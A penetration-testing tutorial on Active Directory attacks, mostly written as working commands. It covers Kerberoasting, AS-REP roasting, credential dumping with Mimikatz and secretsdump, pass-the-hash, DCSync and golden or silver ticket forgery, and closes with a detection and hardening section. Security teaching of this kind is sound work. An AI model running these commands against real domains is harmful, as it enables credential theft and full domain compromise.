Active Directory (AD) is the identity backbone of the vast majority of enterprise Windows environments, managing authentication, authorization, and policy for millions of organizations worldwide. For penetration testers and red teams, AD represents the most critical target in an internal network assessment — domain compromise means complete control over every domain-joined system, user account, and organizational resource. This article covers the core AD attack techniques used in real-world engagements, from initial enumeration through domain dominance.
Active Directory Architecture Primer
Before attacking AD, understand its fundamental components:
- Domain Controller (DC): The server running AD DS, responsible for authentication and policy. The primary target — compromise it and you own the domain.
- Kerberos: The primary authentication protocol in AD since Windows 2000. Uses tickets to grant access without repeatedly transmitting passwords.
- NTLM: Legacy authentication protocol, still widely used for backward compatibility and non-Kerberos scenarios.
- LDAP: Protocol for querying the AD directory. Runs on port 389 (LDAP) and 636 (LDAPS).
- Service Principal Names (SPNs): Unique identifiers for service instances. Used by Kerberos to associate a service with a service account.
- Privilege Attribute Certificate (PAC): Embedded in Kerberos tickets, contains user's group memberships and privileges.
Kerberos Authentication Flow
Understanding Kerberos is essential for exploiting its weaknesses:
- Client sends AS-REQ to KDC (Key Distribution Center) — requests Ticket Granting Ticket (TGT)
- KDC verifies credentials, responds with AS-REP containing TGT encrypted with krbtgt hash
- Client sends TGS-REQ to KDC with TGT — requests service ticket for specific service
- KDC responds with TGS-REP — service ticket encrypted with the service account's NTLM hash
- Client presents service ticket to the target service for access
Phase 1: BloodHound Enumeration
BloodHound uses graph theory to reveal hidden attack paths in Active Directory. It is indispensable for understanding complex domain relationships before attacking.
Data Collection with SharpHound
# Download SharpHound (C# collector)
# From: https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
# Run SharpHound on a domain-joined Windows machine
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Stealth collection (less noise)
.\SharpHound.exe -c DCOnly
# Collect from a specific domain
.\SharpHound.exe -c All -d CORP.LOCAL
# Python-based collector (from Linux, requires valid credentials)
pip install bloodhound
bloodhound-python -d corp.local -u lowuser -p 'Password123!' -ns 192.168.1.10 -c All
# Output: a ZIP file containing JSON files for BloodHound import
BloodHound Analysis Queries
# Launch BloodHound (after starting Neo4j)
sudo neo4j start
bloodhound
# Key pre-built queries to run:
# - "Find all Domain Admins"
# - "Shortest Paths to Domain Admins"
# - "Find Principals with DCSync Rights"
# - "Find Computers where Domain Users are Local Admins"
# - "Shortest Paths from Kerberoastable Users to Domain Admins"
# - "Find AS-REP Roastable Users"
# Custom Cypher query - find users with WriteDACL on domain
MATCH (u:User)-[:WriteDACL]->(d:Domain) RETURN u.name, d.name
# Find paths from owned objects to DA
MATCH p=shortestPath((n:User {owned:true})-[*1..]->(m:Group {name:"DOMAIN [email protected]"})) RETURN p
Phase 2: Kerberoasting
Kerberoasting exploits the Kerberos TGS mechanism. Any domain user can request service tickets for any SPN in the domain. These tickets are encrypted with the service account's NTLM hash and can be cracked offline — no special privileges required.
SPN Enumeration
# Using setspn (Windows, built-in)
setspn -T corp.local -Q */*
# PowerShell enumeration
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
Select-Object Name, ServicePrincipalName
# ldapsearch from Linux
ldapsearch -x -H ldap://192.168.1.10 -D "corp\lowuser" -w 'Password123!' \
-b "DC=corp,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
Requesting and Extracting Tickets
# GetUserSPNs.py (Impacket) — from Linux, requires valid domain credentials
python3 GetUserSPNs.py corp.local/lowuser:'Password123!' -dc-ip 192.168.1.10 -request
# Save hashes to file
python3 GetUserSPNs.py corp.local/lowuser:'Password123!' -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt
# Target a specific user
python3 GetUserSPNs.py corp.local/lowuser:'Password123!' -dc-ip 192.168.1.10 -request-user sqlservice
# From Windows using Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:sqlservice /outfile:hashes.txt
# From Windows using PowerView
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII hashes.txt
Hash Format and Cracking
# Kerberoast hash format (hashcat mode 13100)
$krb5tgs$23$*sqlservice$CORP.LOCAL$corp.local/sqlservice*$a8b3c4...[truncated]
# Crack with hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES-encrypted tickets (etype 17/18 — harder to crack)
hashcat -m 19600 hashes.txt wordlist.txt # AES128
hashcat -m 19700 hashes.txt wordlist.txt # AES256
# John the Ripper alternative
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Phase 3: AS-REP Roasting
AS-REP Roasting targets accounts with "Do not require Kerberos preauthentication" set. Without preauthentication, the KDC responds to any AS-REQ with an AS-REP containing data encrypted with the user's hash — no authentication needed from the attacker.
Finding Vulnerable Accounts
# From Linux with Impacket — no credentials needed for initial check
python3 GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10
# With valid credentials — query AD directly
python3 GetNPUsers.py corp.local/lowuser:'Password123!' -dc-ip 192.168.1.10 -request -format hashcat -outputfile asreproast.txt
# PowerView (Windows)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Rubeus (Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:asreproast.txt
Cracking AS-REP Hashes
# Hash format (hashcat mode 18200)
[email protected]:a1b2c3d4...[truncated]
# Crack with hashcat
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule
Phase 4: Pass-the-Hash (PtH)
NTLM authentication accepts the password hash directly without requiring the plaintext password. If you obtain an NTLM hash, you can authenticate as that user to any system using NTLM — no cracking required.
Obtaining NTLM Hashes
# Dump local SAM database (requires local admin)
# Using secretsdump.py remotely
python3 secretsdump.py corp.local/administrator:'Password123!'@192.168.1.20 -just-dc-ntlm
# Dump via SAM hive copy
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# Using Mimikatz (requires local admin / SYSTEM)
sekurlsa::logonpasswords -- dump from LSASS memory
sekurlsa::msv -- dump NTLM hashes
lsadump::sam -- dump SAM database
NTLM Hash Format
# Format from secretsdump output:
# username:RID:LM_hash:NT_hash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# LM: aad3b435b51404eeaad3b435b51404ee (empty LM hash placeholder)
# NT: 31d6cfe0d16ae931b73c59d7e0c089c0 (blank password — change this)
# The NT hash is what you pass in PtH attacks
PtH with CrackMapExec
# Verify hash works against a target
crackmapexec smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'
# Execute command on target
crackmapexec smb 192.168.1.20 -u Administrator -H 'HASH' -x "whoami"
# Execute PowerShell command
crackmapexec smb 192.168.1.20 -u Administrator -H 'HASH' -X "Get-Process"
# Dump SAM on target
crackmapexec smb 192.168.1.20 -u Administrator -H 'HASH' --sam
# Dump LSA secrets
crackmapexec smb 192.168.1.20 -u Administrator -H 'HASH' --lsa
# Spray a hash across a subnet
crackmapexec smb 192.168.1.0/24 -u Administrator -H 'HASH' --continue-on-success
# Output: + = local admin, * = pwn3d (domain admin)
PtH with pth-winexe and pth-smbclient
# Shell via SMB
pth-winexe -U corp/Administrator%aad3b435b51404eeaad3b435b51404ee:NTHASH //192.168.1.20 cmd.exe
# Or using impacket's wmiexec
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH corp.local/[email protected]
# psexec
python3 psexec.py -hashes :NTHASH [email protected]
# smbclient
smbclient //192.168.1.20/C$ -U 'administrator%' --pw-nt-hash NTHASH
Phase 5: DCSync Attack
DCSync mimics a Domain Controller requesting replication. Any account with Replicating Directory Changes All and Replicating Directory Changes permissions can request password hashes for any user, including the krbtgt account. This does not require local admin or code execution on the DC.
Identifying Accounts with DCSync Rights
# PowerView
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "DS-Replication-Get-Changes"}
# BloodHound query
MATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n.name
Executing DCSync with secretsdump.py
# Dump all domain hashes (requires DCSync rights)
python3 secretsdump.py corp.local/administrator:'Password123!'@192.168.1.10 -just-dc-ntlm
# Dump specific user (get krbtgt for Golden Ticket)
python3 secretsdump.py corp.local/administrator:'Password123!'@192.168.1.10 -just-dc-user krbtgt
# Dump with NTLM hash (PtH + DCSync)
python3 secretsdump.py -hashes :NTHASH corp.local/[email protected] -just-dc-ntlm
# Output format:
# corp.local\Administrator:500:aad3....:8846f7ea....:::
# corp.local\krbtgt:502:aad3....:7823b47c....:::
Mimikatz DCSync (from Windows)
# Requires execution on a DC or account with replication rights
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:administrator
Phase 6: Golden and Silver Tickets
Golden and Silver tickets are forged Kerberos tickets that grant persistent, undetected access.
Golden Ticket
A forged TGT signed with the krbtgt account hash. Valid for 10 years by default and bypasses most controls. Even resetting user passwords doesn't invalidate a Golden Ticket — you must reset krbtgt password twice to invalidate all existing golden tickets.
# Requirements: krbtgt NTLM hash, domain name, domain SID
# Get domain SID
python3 lookupsid.py corp.local/administrator:'Password123!'@192.168.1.10
# Create Golden Ticket with Impacket ticketer
python3 ticketer.py -nthash 7823b47c8a54bc7ab7c5f4c8d6eaab3d \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain corp.local administrator
# Use the ticket
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass corp.local/[email protected]
# Mimikatz Golden Ticket
kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:7823b47c8a54bc7ab7c5f4c8d6eaab3d \
/id:500 /ptt
Silver Ticket
A forged TGS for a specific service. Signed with the service account hash. More stealthy than Golden Tickets (KDC is never contacted) but limited to the specific service.
# Forge ticket for CIFS/SMB service on a server
python3 ticketer.py -nthash SERVICE_ACCOUNT_HASH \
-domain-sid S-1-5-21-... \
-domain corp.local \
-spn cifs/fileserver.corp.local \
fakeadmin
# Common service SPNs:
# cifs/server.corp.local - File share access (SMB)
# http/server.corp.local - IIS/web service
# mssqlsvc/server.corp.local - SQL Server
# host/server.corp.local - WMI, scheduled tasks, remote services
# wsman/server.corp.local - WinRM/PowerShell remoting
Phase 7: Additional AD Attack Techniques
Pass-the-Ticket (PtT)
# Export Kerberos tickets from memory (Windows)
# Mimikatz
sekurlsa::tickets /export
kerberos::list /export
# Import a stolen ticket
kerberos::ptt ticket.kirbi
# Or:
Rubeus.exe ptt /ticket:ticket.kirbi
# From Linux — convert kirbi to ccache
python3 ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
Overpass-the-Hash (Pass-the-Key)
# Use NTLM hash to generate a Kerberos TGT
# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTHASH /run:cmd.exe
# Rubeus (AES key for better stealth)
.\Rubeus.exe asktgt /user:administrator /rc4:NTHASH /ptt
.\Rubeus.exe asktgt /user:administrator /aes256:AESKEY /ptt
LDAP Enumeration from Linux
# Enumerate all users
ldapsearch -x -H ldap://192.168.1.10 -D "corp\lowuser" -w 'Password123!' \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# Enumerate all groups
ldapsearch -x -H ldap://192.168.1.10 -D "corp\lowuser" -w 'Password123!' \
-b "DC=corp,DC=local" "(objectClass=group)" cn member
# Find all DAs
ldapsearch -x -H ldap://192.168.1.10 -D "corp\lowuser" -w 'Password123!' \
-b "CN=Domain Admins,CN=Users,DC=corp,DC=local" member
Defense and Detection
Kerberoasting Detection
- Monitor for Event ID 4769 (Kerberos Service Ticket Request) with encryption type 0x17 (RC4) — strong accounts use AES (0x12/0x11)
- Alert on bulk SPN ticket requests from a single source
- Enforce AES-only encryption for service accounts (removes RC4 cracking feasibility)
- Implement Managed Service Accounts (MSAs) with auto-rotating 120-character passwords
DCSync Detection
- Monitor Event ID 4662 with "Replicating Directory Changes All" access
- Alert on replication requests from non-DC accounts
- Regularly audit accounts with DCSync permissions
Golden/Silver Ticket Detection
- Golden Ticket: Ticket lifetime exceeds domain policy (default 10-hour TGT max)
- Monitor for Event 4768/4769 where ticket encryption type is DES or RC4 when the domain enforces AES
- Reset krbtgt account password twice, 24+ hours apart
- Microsoft ATA/Defender for Identity detects forged ticket patterns
General AD Hardening
- Implement tiered administration model (Tier 0/1/2)
- Enable Protected Users security group for privileged accounts
- Disable NTLM where possible (enforce Kerberos)
- Enable Credential Guard to protect LSASS
- Regular privileged access workstation (PAW) enforcement
- Audit and minimize accounts with high-privilege AD permissions
- Enable audit policies for DS access, logon events, and privilege use